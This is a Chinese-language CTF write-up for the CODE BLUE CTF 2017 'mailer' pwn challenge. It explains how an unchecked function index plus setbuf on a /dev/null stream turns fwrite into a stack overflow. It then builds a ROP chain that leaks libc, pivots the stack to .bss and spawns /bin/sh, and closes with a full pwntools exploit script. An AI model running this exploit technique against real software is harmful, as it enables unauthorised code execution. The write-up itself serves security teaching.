朋友讓我一起看了一道32位的pwn題,好像是國外code blue 2017 ctf上的一道題,開始我感覺32位pwn的姿勢我應該都會了吧,結果,又學到了新姿勢......
題目鏈接:https://github.com/Hcamael/CTF_repo/tree/master/CODE%20BLUE%20CTF%202017/Pwn
在拿到這題的時候,看了下是32位的,canary都沒開,本以為是很簡單的題
在sub_8048ada函數中發現了一個任意函數調用的漏洞,對于filter輸入的數值只檢測v3<=2,而v3是int型,所以可以任意調用小于0x804b048的函數,但是參數卻不能控制,第一個參數是fopen("/dev/null")調用返回的文件流,第二個參數是buf,第三個參數為長度
初次之外就找不到別的漏洞了,在參數無法控制的情況下,只能利用該bin中的本身函數,沒有任何getshell的思路
然后在大佬的教導下,我第一次注意到了setbuf函數,大部分pwn題都會有這個函數,用來設置IO緩沖區的,第一個參數是文件流,第二個參數表示緩沖區,一般在pwn題中的用法是setbuf(stdin, 0)表示標準輸入取消緩沖區。
仔細觀察還會發現,stdin并不是0,而是在stdio庫中設置的一個文件流,所以也是作用在stdio庫中的函數,比如gets, puts, fread, fwrite
比如,gets函數使用的就是stdin描述符,如果設置了setbuf(stdin, buf),gets函數則會先從buf中獲取輸入,自己也可以寫個簡單的代碼測試一下
#include<stdio.h>
int main(void)
{
char buf[10];
memset(buf, 0, 10);
buf[0] = '1';
printf(buf);
setbuf(stdout, buf);
printf("test");
write(1, "\n====\n",6);
write(1, buf, 10);
}
然后運行一下
$ ./a.out
1
====
test
可以從結果看出,printf根本沒有輸出test,而是把這個字符串輸出到buf緩沖區中了,從而修改了buf中的內容。
因為設置的是stdout的緩沖區,而stdout是stdio庫中的文件流,所以write并沒有受到影響
還有一個問題,setbuf并沒有設置長度的參數,設置長度的需要使用setvbuf,所以默認情況下setbuf設置的緩沖區長度為默認的4096,這樣在該題中就形成了一個攻擊鏈
控制程序跳轉到setbuf函數,簡單的講就是調用setbuf(fd=fopen("/dev/null"), buf1),然后在sub_8048742(no_filter)函數中調用了fwrite(fd, 0, buf2, len),這樣就能往buf1中寫buf2的數據,而buf是存在棧中的,所以可以造成棧溢出,能棧溢出了,下面就是找ROP鏈了
棧溢出構造邏輯:
add(rop) -> add(buf1) -> buf(buf2) -> add(buf3) -> add(buf4) -> setbuf(fd, buf4) -> post(buf1) -> post(rop) -> 棧溢出,利用ROP鏈
下面就是研究怎么構造ROP,我的思路是:
利用printf泄露libc地址 -> 算出system,字符串/bin/sh地址 -> 構造出第二個system("/bin/sh")的ROP鏈 -> 通過fread寫入.bss段 -> 利用ROP把棧修改成.bss段 -> 執行第二個ROP system("/bin/sh")
同樣也能利用one_gadget,payload下面會放,這里再討論一個問題
我把棧地址修改成0x804b100,執行system("/bin/sh")是失敗的,然后再和大佬的討論中發現了幾種可能,system需要獲取系統的環境變量envp,通過看system的源代碼,發現有一個全局指針變量_environ指向棧上的envp,如果這個值被覆蓋成了一個無效的地址,system則無法執行。但是在該題中,我的第一個rop并不長,所以并沒有覆蓋掉envp,之后修改了棧地址,也不存在覆蓋envp的情況。
然后還有第二種情況,system棧地址空間不足,程序的可讀可寫地址空間是從0x804b000-0x804c000,總長度為0x1000,然后我修改的棧地址為0x804b100,所以system可用的棧空間只有0x100,之后我把棧的地址修改成0x804b700后,就能成功執行system("/bin/sh")了
附上payload:
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level = "debug"
context.terminal = ['terminator','-x','bash','-c']
def add(p, data):
p.readuntil("> ")
p.sendline("1")
p.readuntil("contents: ")
p.sendline(data)
def post(p, n, offset):
p.readuntil("> ")
p.sendline("3")
p.readuntil("ID (0-4): ")
p.sendline(str(n))
p.readuntil("> ")
p.sendline(str(offset))
def quit(p):
p.readuntil("> ")
p.sendline("4")
def main():
p = process("./mailer",env={"LD_PRELOAD": "./libc.so.6"})
libc = ELF("./libc.so.6")
e = ELF("./mailer")
# gdb.attach(p)
gadget1 = 0x08048dab # pop ebp ; ret
gadget2 = 0x080485f8 # leave ; ret
gadget3 = 0x08048495 # pop ebx ; ret
gadget4 = 0x08048daa # pop edi ; pop ebp ; ret
gadget5 = 0x08048da9 # pop esi ; pop edi ; pop ebp ; ret
one_gadget_sh = 0x56ff5
read_buf = 0x080486D9
stdin_bss = 0x804B060
bss_buf = 0x804b700
rop1 = "a"*0xd
rop1 += p32(e.symbols["printf"]) + p32(gadget3) + p32(e.got["printf"]) # printf(&printf)
rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin)
rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf)
add(p, rop1)
add(p, "b"*255)
add(p, "c"*255)
add(p, "d"*255)
add(p, "e"*255)
post(p, 4, -15)
post(p, 1, 0)
post(p, 0, 0)
quit(p)
p.readuntil(":)\n")
printf_got = u32(p.read(4))
# print hex(printf_got)
system_libc = libc.symbols["system"]
printf_libc = libc.symbols["printf"]
binsh_libc = libc.search("/bin/sh").next()
system_add = printf_got - printf_libc + system_libc
binsh_add = printf_got - printf_libc + binsh_libc
one_gadget = printf_got - printf_libc + 0x3a838
#rop2 = "aaaa" + p32(gadget5) + p32(binsh_add+one_gadget_sh) + "aaaa" + p32(bss_buf) + p32(one_gadget)
rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add)
p.sendline(rop2)
p.interactive()
if __name__ == '__main__':
main()
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/450/
暫無評論